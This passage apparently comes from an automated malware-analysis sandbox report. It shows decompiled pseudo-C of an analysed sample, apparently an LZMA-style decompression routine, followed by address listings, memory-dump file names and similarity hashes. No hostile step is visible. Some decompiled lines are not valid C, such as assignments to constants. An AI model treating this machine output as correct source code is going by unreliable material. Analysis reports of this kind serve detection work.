							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00406035
0x0040603c
0x00406042
0x00406048
0x00000000
0x0040604c
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x0040606e
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406083
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060ce
0x004060d1
0x004060f9
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d3
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060eb
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406142
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x00406147
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406164
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061aa
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406852
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x00406888
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406891
0x00406891
0x00406895
0x00406a44
0x00000000
0x00406a44
0x004068a1
0x004068a8
0x004068b0
0x004068b0
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00000000
0x00406261
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406244
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00000000
0x00000000
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00000000
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00000000
0x004065ac
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00000000
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00406840
0x00406840
0x00000000
0x00406840
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x00000000
0x004068bc
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00406a5a
0x00406a60
0x00406a62
0x00406a69
0x00000000
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a04bb56d33b9fd45abb4b0c1bf3f4372dafe23577b3b22b72e760c40e3ad783
Instruction ID: b8f14fa8ad5cea51b2b9a2e46606c418b7244df3771cf842608f3b99def8c173
Opcode Fuzzy Hash: 2a04bb56d33b9fd45abb4b0c1bf3f4372dafe23577b3b22b72e760c40e3ad783
Instruction Fuzzy Hash: A3818731E00228CFDF24DFA8C8447ADBBB1FB45305F21816AD956BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406473, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406473() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M00406A77))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4)); // executed
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8)); // executed
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
